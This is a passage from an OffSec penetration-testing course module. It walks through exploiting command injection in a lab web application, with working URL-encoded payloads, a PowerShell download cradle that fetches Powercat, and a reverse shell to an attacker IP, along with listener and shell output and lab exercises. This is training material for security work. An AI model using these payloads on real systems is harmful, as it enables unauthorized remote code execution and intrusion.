(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
Listing 42 - Code Snippet to check where our code is executed
We'll use URL encoding once again to send it.
kali@kali:~$ curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.50.189:8000/archive
...
See 'git help git' for an overview of the system.
PowerShell
Listing 43 - Determining where the injected commands are executed
The output contains "PowerShell", meaning that our injected commands are executed in a PowerShell environment.
Next, let's try to leverage command injection to achieve system access. We will use Powercat6 to create a reverse shell. Powercat is a PowerShell implementation of Netcat included in Kali. Let's start a new terminal, copy Powercat to the home directory for the kali user, and start a Python3 web server in the same directory.
kali@kali:~$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Listing 44 - Serve Powercat via Python3 web server
Next, we'll start a third terminal tab to create a Netcat listener on port 4444 to catch the reverse shell.
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
Listing 45 - Starting Netcat listener on port 4444
With our web server serving powercat.ps1 and Netcat listener in place, we can now use curl in the first terminal to inject the following command. It consists of two parts delimited by a semicolon. The first part uses a PowerShell download cradle to load the Powercat function contained in the powercat.ps1 script from our web server. The second command uses the powercat function to create the reverse shell with the following parameters: -c to specify where to connect, -p for the port, and -e for executing a program.
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell
Listing 46 - Command to download PowerCat and execute a reverse shell
Again, we'll use URL encoding for the command and send it.
kali@kali:~$ curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' http://192.168.50.189:8000/archive
Listing 47 - Downloading Powercat and creating a reverse shell via Command Injection
After entering the command, the second terminal should show that we received a GET request for the powercat.ps1 file.
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.50.189 - - [05/Apr/2022 09:05:48] "GET /powercat.ps1 HTTP/1.1" 200 -
Listing 48 - Python3 web server shows GET request for powercat.ps1
We'll also find an incoming reverse shell connection in the third terminal for our active Netcat listener.
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.3] from (UNKNOWN) [192.168.50.189] 50325
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator\Documents\meteor>
Listing 49 - Successfull reverse shell connection via Command Injection
Listing 49 shows that we received a reverse shell. Instead of using Powercat, we could also inject a PowerShell reverse shell directly. There are many ways to exploit a command injection vulnerability that depend heavily on the underlying operating system and the implementation of the web application, as well as any security mechanisms in place.
(Github, 2022), https://github.com/offensive-security/exploitdb ↩︎
(Git SCM, 2022), https://git-scm.com/docs/git ↩︎
(Git for Windows, 2022), https://gitforwindows.org/ ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmd ↩︎
(Stackoverflow, 2020), https://stackoverflow.com/users/4003407/user4003407 ↩︎
(Github, 2020), https://github.com/besimorhino/powercat ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Follow the steps above and exploit the command injection vulnerability on VM #1 to obtain a reverse shell. Since the machine is not connected to the internet, you have to skip the step of cloning the repository from the beginning of this section. Find the flag on the Desktop for the Administrator user.
- For this exercise the Mountain Vaults application runs on Linux (VM #2). Exploit the command injection vulnerability like we did in this section, but this time use Linux specific commands to obtain a reverse shell. As soon as you have a reverse shell use the sudo su command to gain elevated privileges. Once you gain elevated privileges, find the flag located in the /opt/config.txt file.
- Capstone Lab: Start the Future Factor Authentication application on VM #3. Identify the vulnerability, exploit it and obtain a reverse shell. Use sudo su in the reverse shell to obtain elevated privileges and find the flag located in the /root/ directory.
- Capstone Lab: Enumerate the machine VM #4. Find the web application and get access to the system. The flag can be found in C:\inetpub\.
9.5. Wrapping Up
In this Module, we covered a variety of different common web application attacks. First, we explored how to display the contents of files outside of the web root with directory traversal attacks. Next, we used file inclusion to not only display the contents of files, but to also execute files by including them within the web application's running code. We then abused file upload vulnerabilities with executable and non-executable files. Finally, we learned how to leverage command injection to get access to a web application's underlying system.
Understanding these kinds of attacks will prove extremely helpful in any kind of security assessment. When we exploit them in publicly-accessible web applications over the internet, they may lead us to an initial foothold in the target's network. Alternatively, when we find vulnerabilities for these attacks in internal web services, they may provide us with lateral movement vectors. While the vulnerabilities are not dependent on specific programming languages or web frameworks, their exploitation may be. Therefore, we should always take the time to briefly understand the web technologies being used before we attempt to exploit them. With the skills covered in this Learning Unit, we can identify and exploit a broad variety of web applications.
- © 2024 OffSec |
- Privacy |
- Terms of service
Previous Module
Introduction to Web Application Attacks
Next Module
SQL Injection Attacks